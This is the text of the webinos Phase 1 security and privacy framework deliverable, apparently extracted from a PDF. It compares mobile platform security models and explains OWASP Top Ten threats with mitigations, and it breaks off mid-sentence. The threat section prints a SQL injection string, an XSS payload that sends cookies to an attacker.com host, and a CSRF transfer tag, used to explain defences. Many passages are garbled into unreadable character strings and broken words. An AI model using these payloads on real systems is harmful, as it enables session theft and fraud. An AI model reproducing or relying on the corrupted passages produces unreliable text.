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Abstract

The webinos project aims to deliver a credgvice web application runtime environment, providing
unified development platform and standardized intedevice communication and interaction. This documg
contains the first iteration of the technical security and privacy framework designed for the webinos pro
It accompanies two other documentsD3.1 Sykem Specification and D3.2 API Specificatiorand refers to
concepts developed in them. The security and privacy architecture aims to protect webinos users
systems from many threats, including those of malicious software, unauthorised data collectidmlations
of privacy and loss of personal data. A number of contributions are made in this deliverable: existing m
security architectures are analysed, key threats are identified, several pieces of security and pr
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protecting functionality arespecified and guidelines are provided to developers of the webinos runtime.

Security functionality includes a security and privacy policy architecture, platform integrity chech
authentication, authorisation, and interfaces to manage the end user's npersonal webinos network o
devices.

The specifications, requirements and guidelines given in this document form the initial basis of the we
security architecture. It is expected that this will be updated as the platform is implemented and evalug
and phase 2 of the project will propose further improvements and functionality.
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1 Introduction

In this document we define the security architecture for the webinos project. Thénwslproject

aims to deliver a crosdevice web application runtime environment, providing intivice
communication and interaction. The development of this runtime environment will help to provide a
seamless endiser experience with web applications.elWebinos consortium aims to make several
innovations in the runtime environment, and, as a research project, it aims to go beyond the current
state of the art in web application technology. The majority of the specification work is being carried
out in two other documents: the System SpecificatigviepinosD31) and API Specification
(WebinosD32.

One of the most important areas for improvement in existing web application technology is the
provision of better security and privacy. webinesabled web applications will be able to support
important and high value functionality such as electronic payment and may store confidential and
valuable information belonging to companies or individuals. Atsame time, vulnerabilities in web
technology are being discovered regularly, with large projects such as OWASTSPdedicated to
cataloguing and mitigating the most common and severe. Furthermore, user privacy is an increasing
concern, and mobile applications frequently appear in the news for violating user expectations for
how their data are collected and usddefyden201}1L

A key challenge facing the webinos project is that existing threats toriggand privacy could

potentially have a greater impact on webinos than on existing systems, due to the capability for
crossdevice interaction and standardised architecture. From the outset we have been aware that an
insecure webinos platform could rein the creation of crosslevice malware. This malware could
capture sensitive private information or commercially valuable data or even create a large, cross
platform botnet capable of launching denial of service attacks against people and organisations
These threats are real, and must be solved in the webinos architecture. The webinos project has
therefore been considering security and privacy issues from the beginning, and this document
represents the first iteration of the webinos security and privacchitecture.

There is another compelling reason for the creation of a webinos security and privacy architecture:
the standardisation of security and privacy controls and interfaces which will increase usability and
reduce development effort. At presergach device manufacturer provides different interfaces and
conceptual models for securing applications and protecting users. This makes the task of securing all
personal devices challenging for users. By unifying the interface and allowing the managément
security policies on all devices to be done on the most appropriate platform (on a device with a large
screen and keyboard, for example) users will be able to make better decisions than they can at
present. This document therefore describes a security privacy architecture capable of providing
standardised access controls and features applicable to all four device domains.
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1.1. Document Structure and Scope

This document is structured in the following waye rest of this section covers the methodology

used to create the security and privacy architecture, principles followed and provides-eWegh

overview of the architecture itself. The background section discusses related security architectures,
including Android, BONDI, iOS and WebOS, and analyses what can be learned from them. An initial

threat overview is then given, including the top ten relevant threats from the OWASP project and

early results fronthed | LIRF G S& G2 ! & SNJ 9 E tISD @hédtieymain Brgat { S O dzNA
analysis is taking place. The architecture section contains requirements and specifications for

security and privacyelated components of the webinos architecture, and is the main contribution

of this document. It includedetails on the following components:

the security policy architecture;

the privacy policy architecture;

authentication and user identity management;
runtime authorisation;

privileged applications;

secure storage;

security for extensions;

personal zone secity;

platform integrity protection, resilience and attestation;
application certification, installation and trust;
device permissions; and

session security.
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The next section discusses guidelines for the implementation of the webinos platform, with
particdar guidance for privacy and secure development of the network architecture, communication
and the runtime itself. This is followed by a discussion of the cloud security models which are
relevant to webinos. Following this, the Updates to Security Regeinésrsection contains a list of

new or modified requirements which were identified when creating the security architecture. We
then conclude and give guidance on how best to use this document.

This security and privacy architecture document is not desigmde read on its own, and

frequently refers to previous webinos documentation, including specificat@mumentsD3.1 and

D3.2, the requirementslocumentsand theresults of work on user expectations (D2.7 and D2.8)

The specification documem3.1 in @rticular must be read before this document in order to

introduce the key webinos system components. Due to the overlap between the system

specification {VebinosD31) and this document, some of the key architectural composent

presented more thoroughly in the other document. This is because they are fundamental to the
design of the system and cannot be separated from it. This includes the sections on security policies,
authentication, messaging, and privileged applications
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1.2. Methodology

The webinos security architecture was developed using the following methodology. Importantly, we
aimed to keep security aligned with the rest of the specification efforts, so that insecure designs
were idenified and avoided early on in the planning phase of the project. We took several measures
to make this happen:

1. Every area of the specification WébinosD31) involved a partner with security expertise
who was also involveith the security and privacy work.

2. We kept track of emerging security and privacy issues in the specification work using the
project wiki and discussed them on frequent conference calls and meetings.

3. We used thepersonas defined inebinosD27) as authorities to make security and privacy
design decisions.

4. We used the misuse cases and environment models develop&ddhifiosD28) to identify
new threats and potential vulnerabilities.

Throughout thke design of the webinos security architecture, we also tried to follow-esthblished
guidelines and principles. These have been drawn from academic literature and were followed
throughout the duration of the development of the webinos platform.

1.2.1. Security Principles.
The following security patterns are froi@arfinkel200%.

9 D22R {SOdz2NRiG& b2¢ .BEBRefmtisystermsioffering foidg secBrit S O (i 0
features are deployedow, rather than leaving these systems sitting on the shelf while
GLISNFSOUGE¢ aSOdNmRGe aeaidsSya INB o0SAy3a RS@OSE 2L

1 Provide Standardized Security Policies (No PolicyPKitjide a small number of standardized
aSOdzNRGe O2yU3dzNY GA2ya GKIG OFy ©6S FdzZRAGSRY |
taught to users.

1 Least Surprise / Least Astonishmdsisure that the system acts in accordance with the
dza SNRa SELSOGIdA2yao

1 Explicit User AuditAllow the user to inspect all usegenerated information stored in the
system to see if information is present and verify that it is accurate. There should be no
hidden data.

1 Explicit Item DeleteGive the user a way to delete what is shown, where it is shown.

1 Reet to Installation Provide a means for removing all personal or private information
F3a20AF0SR 6AGK 'y LILXAOFIGAZY 2NJ 2LISNY GAy3
delayed operation

1 Complete DeleteEnsure that when the user deletes the visible representation of soingg
the hidden representations are deleted as well

1 [ SOSNI IS 9 EAad AlyadS LREwWAIRAYOT MRS Y i A U0 A2y &O0K
create new ones.
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1 Create Keys When Needd&thsure that cryptographic protocols that can use keys will have
acces to keys, even if those keys were not signed by the private key of -&mneelin
I SNGHAUOI GS ' dzii K2 NR G &

1 TrackReceivedkKéy al 1S Al LRaaArofsS F2NJ GKS dzasSNI G2 1y
has been received, if the key has been used just a few fiorébit is used frequently.

1 Migrate and Backup Keyrevent users from losing their valuable secret keys.

9 5Aa0ft24aS { A 3YIkfar®the/uSer BhEnZh dbjéck (Boffvdare or physical) is likely
G2 0SKIF@S Ay I YLl yy S Nihanipdacted: Ideally theddisdlosutel vy i f @ R
daK2dZ R 0S YIRS o0& (KS 202S0GQa ONBI (2N®

71 Install Before Execut&nsure that programs cannot run unless they have been properly

installed.
7 Distinguish Between Run and Op@&istinguish the act of running a programrfrahe
2LSYyAy3 2F | RIFGF UfSo

1 Disable by DefaulEnsure thathe systems does not enable services, servers, and other
AAAYAUOLr yiG odzi LI GSy-televart furktiodakityNihi#dtereysd | YR a4 S«
need to do so.

1 Warn When UnsafePeriodicallyg | N}y 2 F dzy dal FS O2y U3dzN> GA2ya 2N
limit the frequency of warnings so that the user does not become habituated to them.

1 Distinguish Security Leve@ive the user a simple way to distinguish between similar
operations that are moreecure and lessecure. The visual indications should be consistent
across products, packages and vendors.

The following are more general, and many have been taken from the classic Saltzer and Schroeder
paper Galtzer7%.

1 Ecommy of mechanismKeep the design as simple and small as possible. Prefsintipéest
option available during design.

1 Failsafe defaultsBase access decisions on permission rather than exclusion.

1 Least privilegeEvery program and every user of the systehould operate using the least
set of privileges necessary to complete the job. This is often not possible, but is particularly
relevant when designing components which are large enough to be considered potentially
untrustworthy. E.g. a browser. They sha be given the minimum privilege possible so that
compromise has the least impact.

1 Compromise recordingdt is sometimes suggested that mechanisms that reliably record that
a compromise of information has occurred can be used in place of more elaborate
mechanisms that completely prevent loss.

1 Do not reinvent the wheel: use existing technology where possible.

1 Reduce the number and size of trusted components.

1 Isolate individual components where possible.

1.2.2. Privacy principles

We aimed to avoid the following five Privacy Pitfallsderer04 in webinos:
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obscuring potential information flow;
obscuring actual information flow;
emphasizing configuration over action;
lacking coarsgrained contrd; and
inhibiting existing practice.

=A =4 =4 4 A

In addition, we also took advantage of the wealth of information available from the OWASP project
(OWASIPand in the Background section of this document we have listed the top ten threats and
identified how they relate to the webinos platform.

1.3. High-level Overview of the Security Architecture

The webinos security and privacy model consists of many components, processes and guidelines.
This section provides a brief overview of how they fit together and describes the components which
are responsible for securing each part of the system. Our initial approach was to start with concepts
used in WACWAQ and apply thento a distributed environment.

The most significant feature is tlsecurity policy architecturavhich primarily controls applications'
access to device features, but also states rules about-oiegice communication and event

handling. The policy architéure also controls the storage and use of context data and is the main

way in which user privacy can be protected. Policies are written in XACML and enforced at the Policy
Enforcement Point, a key component in the personal zone proxy and personal zanediickes are
synchronised between user devices either via the personal zone hub ct@eeer, an important
capability when two devices communicate for the first time and need to share credentials.

Policies are generated when an application is firstaled and initially requests permission for
accessing local resources. Permissions are defined in XML and included in the manifest file, as
proposed in thedevice permissiorsection. The user is prompted to authorise the permissions using
GUIs discussed theruntime authorisatiorsection, and is able to selectively grant and deny them.

All permissions contain details of the privacy policies the application willWiollbe user may also

have theirown, separate privacy policy defined on the platformg#he privacy policy architecture
section). If the user's policy is in conflict with an application's, they will be warned at install time or
first use. Applications will also be installed only if they contain valid, comprehensive certificates from
their author, as defined in the section @pplication certificates

When interacting with webinos applications, users will need to authenticate both to the personal
zone (to enable crosgevice interaction) and potentially with the applications themselves. Wi
enables this through the authentication architecture which is detailedbicumentD3.1. It reduces
the need for users to have and remember passwords, a significant security benefit, by creating a
webinos single sigon system. Securityontrolsfor the sessions established in single signand
elsewhere are discussed in the sections@ssion security

To support other parts of the platform, webinos will also provide secure storage for data such as
credentials, policies and personal information. Exiens andrivileged applicationsapplication



quebmos FPZICT-20095 257103

page:9 of 120 webinos Phase 1 Security Framework

given access to lower level runtime featurdsgave also been considered, and have various security
controls and restrictions applied to them. In addition, the runtime will support mechanisms to
protect and eport its integrity, as defined in thglatform integrity sectionso that remote relying
parties can be sure that only trusted versions of the webinos runtime and applications are being
used. This section also discussed the various threats from malwé#ne fdatform and how the
implementation might protect itself from compromise.

Finally, issues involving the administration of the personal zone are part of the security architecture.
These include how a zone is initially instantiated, how devices joimanevoked, how a personal
zone hub is installed, and how users can change zones later on.

1.4. Definitions of terms

For a glossary of terms, please refer to the glossary page iNthbifiosD31) document.

2 Background

2.1. Related Security and Privacy Architectures

2.1.1. Android

Android is an open source platform deriviedm Linux 2.6, shaped for mobile devices. The
architecture consists of four levels Linux kernel, libraries, application framework and applications.
Thus, many access control features are derived by Linux access control (e.g. file permission types).
(AndroidOverviewAndroidSurvey

At the application framework layer, the application developer has access to what Android refers to
as "service" processes. Application developers can commtgnith these services via an
intermediary message bus. For example, a contact application might start a phone call using the
services of the telephony manager

Applications caibe: user interface applicationsitent listeners (that are messages carrieceothe
message bus to allow the int@rocess communication), services (similar to UNIX daemon
processes) and content providers (data storehouses that provide access to data on the device)

Android security level is based on two different mechanisms. ©tieeisandboxing provided by the
virtualization, the other is the Linux usual access control based orwegslexecute permission
tuple.

Each Android application is hosted in a Dalvik VM. This VM is only an optimized interpreter for use
on low powered lav memory devices. It uses the Java programming language but it is not a Java
virtual machine since it differs in the bytecode format. Each application runs sandboxed from each
other in its own instance of the Dalvik virtual machine. The kernel is resperfigitsandboxing
management. Each instance of the Dalvik virtual machine represents a Linux kernel process. Each
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instance is isolated from the other.
Applications must declare needed permissions for capabilities not provided by the sandbox, so the
systemprompts the user for consent (at install time).

Permission may be enforced at the following time poiftadroidSecurity.

at the time of a call into the system

when starting an activity (i.e. an application component)
both when sending and receiving broadcasts,

when accessing and operating on a content provider
when binding to or starting a service

=A =4 =4 4 A

The second security mechanisms is essentially the same of Linux OS. Files and data held by an
application are isolated ém other applications enforced by the Android Linux kernel and traditional
Unix file permissions. To access data from another application, it must first be exposed via a content
provider accessed by the message bus.

To ensure application integrity and asthticity, applications must be signed with a certificate whose
private key is held by their developer. The certificate identifies the author of the application and
does not need to be signed by a certificate authority.

2.1.2. BONDI

BONDI proposes a general security framework that unifies the modeling, representation and
enforcement of security policie8QONDIv1.l The framework allows the expression of different

forms of security policy based on widget rasce signatures. It allows blacklisting and/or

whitelisting of widgets, authors and websites.

The model identifies identity types, resources, attributes and conditions that can be expressed in an
XML:based interchange format.

The management of a securitplicy configuration (i.e. creation and update) could be a source of
usability problems, especially for common users.

BONDI establish a minimum baseline for security policy management capability to ensure that web
runtimes are manageable. The associatedfigumation data is interoperable between consuming
devices, e.g. asking for a signature associated to each widget to assure provenience and integrity.

Widgets must be signed according to the W3C Widgets 1.0 digital signature specification. The
signature dbws the web runtime to verify the integrity and authenticity of every file. Widgets must
have a valid author signature and one or more valid distributor signature. The web runtime must
support processing of certificates that conform to the Wireless Aafitin Protocol WAP Certificate
and CRL Profiles Specification.

The dependencies of BONDI web applications are indicated in terms of one or more features, which
correspond to specific functionality provided by the web runtime. The web runtime must only
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enalle a web application to use a JavaScript API if a dependency has been explicitly expressed and
access to the feature has been granted.

The web runtime must resolve all dependencies of features referenced either statically (at install
time) or at instantiaion time for widget resources that are instantiated without prior installation.
For each referenced feature, the web runtime must pemrican access control query to evaluate the
actual granting.

The web runtime must grant access only to features that aredised as dependencies of the web
application. This requires that the access control system is able to control access based on the ID of a
feature. It must be possible to represent security policies portably. All identifiers used in a security
policy must be portably defined (referring both to feature and device capabilities).

The policy is expressed as a collection of specific access control rules. The rules are organized into

groups, termed policies and these in turn are organized into groups termiy sets. Each rule is

specified by defining a condition, which is a set of statements which must be satisfied in order for

GKFG LI NIOAOdzE F NI Nz S G2 FLIWXe Fy STFFSOGIT 4KAOK N

A BONDI web runtime must both use a configured sgcpolicy as the sole basis on which access
control decisions are made and verify that each use of each feature is permitted by evaluating the
feature request against the configured security policy.

To assure policy integrity, a web runtime must only atsggned security policies from authorized
security policy provisioning authorities and support at least one security policy provisioning
authority.

2.1.3. WebOS

WebOS 1.2 runs a custom Linux distribution using the Linux 2.6 K&rabQSIntroPalmWebOS

swcuc3m. On top of the kernel are several system processes and the Ul System Manager. This
WebOSspecific component is responsible for managing the life cycle d&fQ%eapplications and

deciding what to show the user. The Ul System Manager is referred to as Luna and lives within
/usr/bin/LunaSysMagr. It is a modified version of WebKit but it is not used solely for web page

rendering. Rather, all thirgarty WebOS natevapplications are authored using web technologies

(HTML, JavaScript, CSS) and execute within Luna. So what appears in Linux as one process is in reality
AYGSNYyLFftte NHzyyAy3d aS@SNIt 2Soh{ LINROSaaSaod [ dzyt
cyck of these processes.

WebOS processes runs entirely within Luna and is not scheduled by Linux. The system processes are
OGN} RAGAZ2Y It [AydzE LINPOS&daSa a0OKSRdzZ SR o0& [ AydzE |
Luna, run with root permissions. Luaaforces pefapplication permissions and ensures that

malicious applications cannot compromise the device. A bug in Luna or iteawdéring engine

O2dzZ R 06S SELX 2AGSR o6& Yl tudelperinidgionsO2 RS G2 1 6dza S [ d
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2So0h{ dzaSa D2 2pHehdn@&hich prevenms FavaScopifrom directly modifying
YSY2NE 2N O2yiNRffAYy3d GKS RSOHAOSQEA KIFINRgFINBD C2N
directly opening files or devices such as /dev/kmem.

¢KS daz222¢ TNI YSg2 NsenicheRd plegs fhat bre egbsed 16 BaSRipf 2 T
and may be used by applications to access device functionality. Foiptmitgl application
RSOSt2LISNEE az222 Aa (KS gAyR2g (2 fSOSNIYIAYy3dI GKS

There are two broad categories of extons provided by Mojo: services and ping. Plugns are

written in C or C++ and implement the Netscape Plugin API (NPAPI). This API provides a bridge
between JavaScript, Webkit, and objects written in other languages. The Camera, for example,
needed tobe written as a plugn because it accesses device hardware directly. Because Luna knows
how to communicate with pluins, Luna can load the phigs and display them on the same screen
along with traditional Mojo framework Ul elements. Each glugxpogs some JavaScript methods

that can be used to change the piigy’ Q & r & Kekeffid fugn events. Thireparty developers

do not generally use pluigs directly; instead, they use Mojo APIs that will end up invoking the plug
ins.

Services differ fronplug-ins because they execute outside of the main Luna process. Each service
has a remote procedure call (RPC) interface that applications can use to communicate with the
service.

I 2YYdzyAOFIGA2Yy 200dzNE 29SNJ 0KS at | bpgnsoudmBBEs. | O2 Y'Y
The bus is a generic communication router that may be used to send and receive messages between
applications. System applications can register with the bus to receive messages and access the bus

to send messages to other applicationsiyDPalm applications are currently allowed to register as

listeners on the bus. However, all applications use the bus extensively, either directly by using the

service API or indirectly by using Mojo APIs that exectBai®calls under the covers.

All Wel©OS applications are identified using the "revedss" naming convention. For example, an
application published by ISEC Partners may be called com.isecpartners.webos.SampleApplication.
Some applications use the standarebDs notation, which is the completpath to the executable on
disk (for example, /usr/bin/mediaserver). These applications are the extreme exception, and all
third-party applications are named using revedis notation.

The naming convention and the Palm Bus work together to play an targaole in overall service
security. The Palm Bus is divided into two channels: the public channel and the private channel. Not
all services listen on both channels. For example, the sensitive SystemManager service only listens
on the private channel. EhPalm Bus only allows applications under the com.palm.* namespace to
send messages to privatthannel services. Services that want to be available to all applications,

such as the Contacts service, listen on the public channel. Some services listeh,dsubekpose
different service interfaces to each bus.
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There are some subtle but important differences between the WebOS JavaScript execution
environment and that of a standard web browser. Most notably, WebOS applications are not
restricted by the Samer@in Policy. Regardless of their origin, applications can make requests to

any site. Although developers may find this capability useful, malware authors may abuse the lack of
a Same Origin Policy to communicate with multiple sites in ways that they tdamithin a web
ONRGASNY ¢KS {IYS hNAIAYy t2fA0& adAatt I LI ASAE
the standard web application security model is not changed when simply browsing the Web.

2.1.4. i0S
iPhone OSQSTechOverviewiPhoneOSwcuc3m has four abstraction layertacOSX
SecurityArchitecturg

1. The Core OS layer contains Kavel features. It manages the virtual memory system,
threads, the file system, the network, and ir@rocess communication among the
frameworks in the Core OS layer. This layer encompasses the kernel environment, drivers,
and basic interfaces of iPhone OS.

2. The Core &vices layer contains the fundamental system services, e.g. SQlite library, XML
support, address book framework, core media framework, core telephony framework,
system configuration framework.

3. The Media layer contains the graphics, audio, and video tdolgies which handle the
presentation of visual and audible content.

4. The Cocoa Touch layer defines the basic application infrastructure and support for
technologies such as multitasking, todishsed input, push notifications, and other high
level system seaices. It is used to implement a graphical, everiven application.

The iPhone OS security ARNBEOSXSecurityServicgsare located in the Core Services layer of the
operating system and are based on seggiin the Core OS (kernel) layer of the operating system.
Applications on the iPhone call the security services APIs directly rather than going through the
Cocoa Touch or Media layers.

Networking applications can also access secure networking functiomsghithe CFNetwork API,
which is also located in the Core Services layer.

2.1.4.1  Security Server Daemon

It implements several security protocols, such as access to keychain items and root certificate trust
management.

The Security Server has no public API. Inktepplications use the Keychain Services API and the
Certificate, Key, and Trust services API, which in turn communicate with the Security Server. Because
iOS do not provide an authentication interface, there is no need for the Security Server to have a

user interface.
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2.1.4.2 iPhone OS Security APIs

The iPhone OS security APIs are based on services in the Core Services layer, including the Common
Crypto library in the libSystem dynamic library.

2.1.4.3 Keychain

The keychain is used to store passwords, keys, certificabesother secrets. Its implementation,
therefore, requires both cryptographic functions to encrypt and decrypt secrets, and data storage
functions to store the secrets and related data in files. To achieve these aims, Keychain Services calls
the Common Gpto dynamic library.

2.1.4.4 CFNetwork

CFNetwork is a higlevel API that can be used by applications to create and maintain secure data
streams and to add authentication information to a message. CFNetwork calls underlying security
services to set up a securergeection.

2.1.4.5 Certificate, Key, and Trust Services:

The Certificate, Key, and Trust Services API includes functions to create, manage, and read
certificates; add certificates to a keychain; create encryption keys; encrypt and decrypt data; sign
data and verifysignatures; manage trust policies. To carry out all these services, the API calls the
Common Crypto dynamic library and other Corel®&I services.

2.1.4.6 Randomization Services

Randomization Services provides cryptographically secure psamdom numbers. Rido-

random numbers are generated by a computer algorithm (and are therefore not truly random), but
the algorithm is not discernible from the sequence. To generate these numbers, Randomization
Services calls a randenumber generator in the Core OS layer.

2.1.4.7 Restrictions On Code Execution

In iOS, every application is sandboxed during installation. The application, its preferences, and its
data are restricted to a unique location in the file system and no application can access another

I LILX A OF G A 2 yotdata. LdMdkiifiod, MSapdlication running in iOS can see only its own
keychain items.

2.1.4.8 Code Signing

Digital signatures are required on all applications for iOS. In addition, Apple adds its own signature
before distributing an iOS application. Apple does sign applications that have not been signed by
the developer, and applications not signed by Apple simply will not run.
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2.1.5. Lessons learned

From previous analysis we catentify that web applications leveragesetof well-grounded
securitytechniques thatvebinos should adopt as well in order to counteract many common web
attacks. These techniques are:

1 Code signing, to prevent installation/instantiationwftrusted applications (i.e. not
authenticated and/or not mdified byunauthorized parties and/or provided by untrusted
parties).

1 Sandboxing, to prevent unwanted influences of one application to another one and or to the
runtime.

1 A security plicy framework, that is asimple as possible to avoid usability probkeand
lead to misconfiguration, but expressive enough to allow detailed access control to any key
features and functions.

2.2. Threat Models and Threat Analysis

When securing complex information systerike Inetwork webbased application environments,
some form of risk or threat analysis needs to be carried out at an early stage. This analysis is used to
select countermeasures that form the basis of a system's security architecture.

Many different standard and methodologies have been proposed for carrying out risk analysis. All
share several common themes:

1 A Perimeter definition exercise defines which components are objects under risk analysis
scope; these objects may Iphysical componentsf the systemapplications and services,
interactions, anddependenciesamong services

1 Asset identification defines and characteristics the worth of components inside the
perimeter.

1 Threat identification is used to state assumed threats within the scope of analysis.

1 Cowntermeasure definition and application suggests and checks the effectiveness of
protection mechanisms that can be put in place to defend against identified threats

The perimeter definition exercise is an implicit activity as pathefwebinos specificatin work

Similarly, assets are being elicited and valued asqfatte work on User Expectations on Security

and PrivacyBecausdindings on user expectationgill be delivered several months after the

deliveryof this document countermeasure definitioand, subsequently, proposal of the security
architecture will not be fully informed by that wogkackage. However, it is possible to predict likely
threats which are commonly agreed to be critical threats. For this reason, the threats elicited for this
documentare based on the widely accepted OWASP list of¢opthreats. The threats proposed

were derived from both the 2010 and 2007 ttgn lists.
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2.2.1. OWASP threats and vulnerabilities

OWASP (Open Welpglication Security Project) is wddhown, worldwide, norprofit organization;
its purpose is to develop instruments to understand application security. OWASP's definition of
application security isverything involved in developing, maintaining, and pasing applications
that your organization can trugOWASI

OWASP supports tools for:

application security testing,

secure software development guidance,

advice on the use of application security APIs,

cheat sheets to avoid camon application security holes,
information about common vulnerabilities,

taxonomies of threats and threat agents.

=A =4 4 4 -4 4

As part of the OWASP project, the most relevant security risks are highlighted and discussed, in the
OWASP Top Ten 10 Most Critical Weblisppion Security Risk©OWASPTopl1Q. These risks are
described and detailed below. These risks can be mitigated or avoided adopting secure programming
practice and properly shaped APIs. TW&/ASP ESAPI (Enterprise Security API) pagjdotsses the
problem of properly shaped functions to mitigate most treacherous application security weaknesses,
and describes what kind of API is requiteccounteract each threat in the top ten.

The top threat and vulnerability descriptionsat the time of writing-- are provided below. We
describe each threat or vulnerability, together with a simple illustrative example. We then present
OWASP mandatediglelines for mitigating the threat or vulnerability, and proposals for webinos
countermeasures based on these.

2.2.1.1 Injection

This occurs when untrusted data is sent to an interpreter as part of a command or query. This threat
is relevant to webinos when a diee exports some application or functionality.

An example of tis threat is illustrated below:

String query = "SELECT * FROM accounts WHERE custID="" +
request.getParameter("id") +";

The attacker modifiesth# A RQ LJ NI} YSGSNJ Ay GKSANI 0NRB g &SN

‘ http://exampl e.com/app/accountView?id="'or '1'="1 ‘

OWASP proposes the following mitigations for dealing with this threat.


https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

quebmos FPZICT-20095 257103

page:17of 120 webinos Phase 1 Security Framework

1. Use a safe APl which avoids the use of the interpreter entirely or provides a paraeet
interface.

2. Carefully escape special characters usingsghecific escape syntax for that interpreter.

3.t2aA0A0S 2NJ agKAGS ftAaGE AyLlzi OFfARFGAZY

Based on these proposals, the following webinos countermeasures are proposed.

1. Secure code best practices should be adopted by vesbitevelopers. See Further Security
and Privacy Guidelines section for more information.

2. webinos applications should be tested with defined patterns of improperly formatted input
data.

2.2.1.2 CrossSite Scripting (XSS)

This occurs whenever an application taketrusted data and sends them to a web browser without
proper validation and/or escaping

An example of tts threat is illustrated below:

(String) page "<input name='creditcard' typ|e

request.getParameter("CC") +

+ =
..>u;

The attacker modifi@  { K Barakdéter iQ their browser to:

'><script>document.location="http://www.attacker.com/cgi -
bin/cookie.cgi?foo="+document.cookie</script>'

OWASP proposes the following mitigations for dealing with this threat/

1. Properly escape all untrusted data bdsen the HTML context (body, attribute, JavaScript,
CSS, or URL) that the data will be placed into.

2.t 2aA0A QS A2aND €d oAKyALGDEG @O £ A R (0 A & dissSmardy dgiplicatiéns y 2
must accept special characters.

3. Consider employing Mozilla'ew Content Security Policy (Firefox 4) to defend against XSS.

Because this threat enables improper craggplication injection and data access, the following
webinos countermeasures are proposed.

1. Secure code best practices should be adopted by webinodajests. See Further Security
and Privacy Guidelines section for more information.

2. webinos applications should be tested against defined patterns of improperly formatted
input data.

3. webinos runtime could support Mozilla's Content Security Policy.

G A

" TEXT
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2.2.1.3 Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented
correctly. Examples of this exploitable vulnerability are the following.

1 Links like:
http://example.com/sale/saleitems;jsessionid=2P00OC2JDPXMOOQSNDLPSKHCJUN2JV?dest=
Hawaiipose at stake user security: An unaware usemails the link without knowing he is
also giving away hiession ID

9 'YX AOFGA2yQa GAYS2dzia FNByQd aSdi LINPLISNIe@&od |
Instead of selecting "logout" the user simply closes the browser tab and walks away

T ' &SN LI adag2NRa NB y2i SyONE LN StBcker. SELR aAYy 3 S

OWASP proposes the following mitigations for dealing with this threat.

1. A single set of strong authentication and session management controls
1. Meet all the authentication and session management requirements defined in
h2 1 {tQa ! LI} A &ificatibn2Syandard (@Slaieas V2 (Authentication)
and V3 (Session Management)
2. Have a simple interface for developers. Consider the ESAPI Authenticator and User
APIs as good examples to emulate, use, or build upon.
2. Avoid XSS flaws which can be used¢alssession IDs.

Authentication and session management problems can let an attacker to pose as a webinos
legitimate user. Because of this, the following webinos countermeasures are proposed.

1. Webinos developer should correctly implement application funicelated to
authentication and session management.

2. A simple interface will be exposed to developers. Mutual authentication is taken care of by
the transport layer in webinos.

2.2.1.4 Insecure Direct Object References

This occurs when a developer exposes a refeego an internal implementation object. The
example below illustrates how this vulnerability can be exploited.

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );

pstmt.setString( 1 , request.getParameter("acct"));

ResultSet results = pstmt.executeQuery();

¢KS FdaGrO1SNI aAYLXe& Y2RATASE G(GKS WFOOGQ LI NI YSES
number they want:


http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
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http://fexample.com/app/accountinfo?acct=notmyacct

OWASP proposes thelliowing mitigations for dealing with this threat:

1. Use per user or session indirect object references.
2. Check access.

To deal with this threat, webinos should provide developers with simple check access mechanisms.
2.2.1.5 CrossSite Request Forgery (CSRF)

This athck forces the victim's browser to generate requests the vulnerable application thinks are
legitimate requests from the victim; this allows an attacker to generate requests posing as a
legitimate webinos user.

An examte of a CSRF is provided below:

<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccount=at
tackersAcct#Awidth="0" height="0" [ >

To mitigate this threat, OWASP proposes the inclusion of a unpredictable token in the body or URL
of each HTTP request. Such tokens should ainemmam be unique per user session, but can also be
unique per request. More specifically, the following requirements for tokens need to be satisfied:

1. Include the unique token in a hidden field. This causes the value to be sent in the body of the
HTTP requst.

2. Include the unique token in the URL itself, or a URL parameter. However, such placement
runs the risk that the URL will be exposed to an attacker, thus compromising the secret
token.

To deal with this threat, webinos developer should include an unptakblie token in each request.
2.2.1.6  Security Misconfiguration

Good security posture requires definition and deployment of a secure configuration. Attacker can
take advantage of misconfiguration to exploit some other vulnerability. Examples efagume
configuation include the following.

1 Not updating your libraries.

1 The application server admin console is automatically installed and not removed. Default
accounts aren't changed.

1 Directory listing is not disabled on your server.

1 Application server configuratioallows stack traces to be returned to users.



quebmos FPZICT-20095 257103

page:200f 120 webinos Phase 1 Security Framework

OWASP proposes the following mitigations for dealing with this vulnerability.

1. Arepeatable hardening process that makes it fast and easy to deploy another environment
that is properly locked down.

2. A process fokeeping abreast of and deploying all new software updates and patches in a
timely manner to each deployed environment.

3. A strong application architecture that provides good separation and security between
components.

4. Run scans and do audits periodicallyht&p detect future misconfigurations or missing
patches.

Based on these proposals, the following webinos countermeasures are proposed.

1. Provide developers with means to easily write clear policies.
2. Mandate the use of policies (and provide a restrictive défpolicy).

2.2.1.7 Insecure Cryptographic Storage

Many web applications do not properly protect sensitive data. This can provide an attacker access to
sensitive data.

Example of insecure cryptographic storage include the following.

1 The database is set to autoniedlly decrypt queries against the credit card columns,
allowing an SQL injection flaw to retrieve all the credit cards in tsar

1 A backup tape is made of encrypted health records, but the encryption key is on the same
backup.

1 The password databaseasunsalted hashes to store everyone's passwords.

OWASP proposes the following mitigations for dealing with this vulnerability:

1. Considering the threats you plan to protect this data from (e.g., insider attack, external
user), make sure you encrypt all suddita at rest in a manner that defends against these
threats.

Ensure offsite backups are encrypted, but the keys are managed and backed up separately.
Ensure appropriate strong standard algorithms and strong keys are used, and key
management is in place.

4. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is
used.

Ensure all keys and passwords are protected from unauthorized access.

w N

o

Based on these proposals, the following webinos countermeasures are proposed.

1. Provide developrs with means to easily encrypt data.
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2. Automatically use encrypted storage for apps (every app should have its own encrypted
storage).

2.2.1.8 Failure to Restrict URL Access

Applications need to perform access control checks each time protected pages are acEadaesl.
to do so might allow an attacker to access protected pages. For example, access to the following
pages should be protected:

http://example.com/app/getapplInfo
http://example.com/app/admin_getapplnfo

OWASP proposes preventing unauthorized URL access requires by selecting an approach for
requiring proper authentication and proper authorization for each page. When selecting an
approach, the followig points should be considered.

1. The authentication and authorization policies be role based, to minimize the effort required
to maintain these policies.

2. The policies should be highly configurable, in order to minimize any hard coded aspects of
the policy.

3. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to
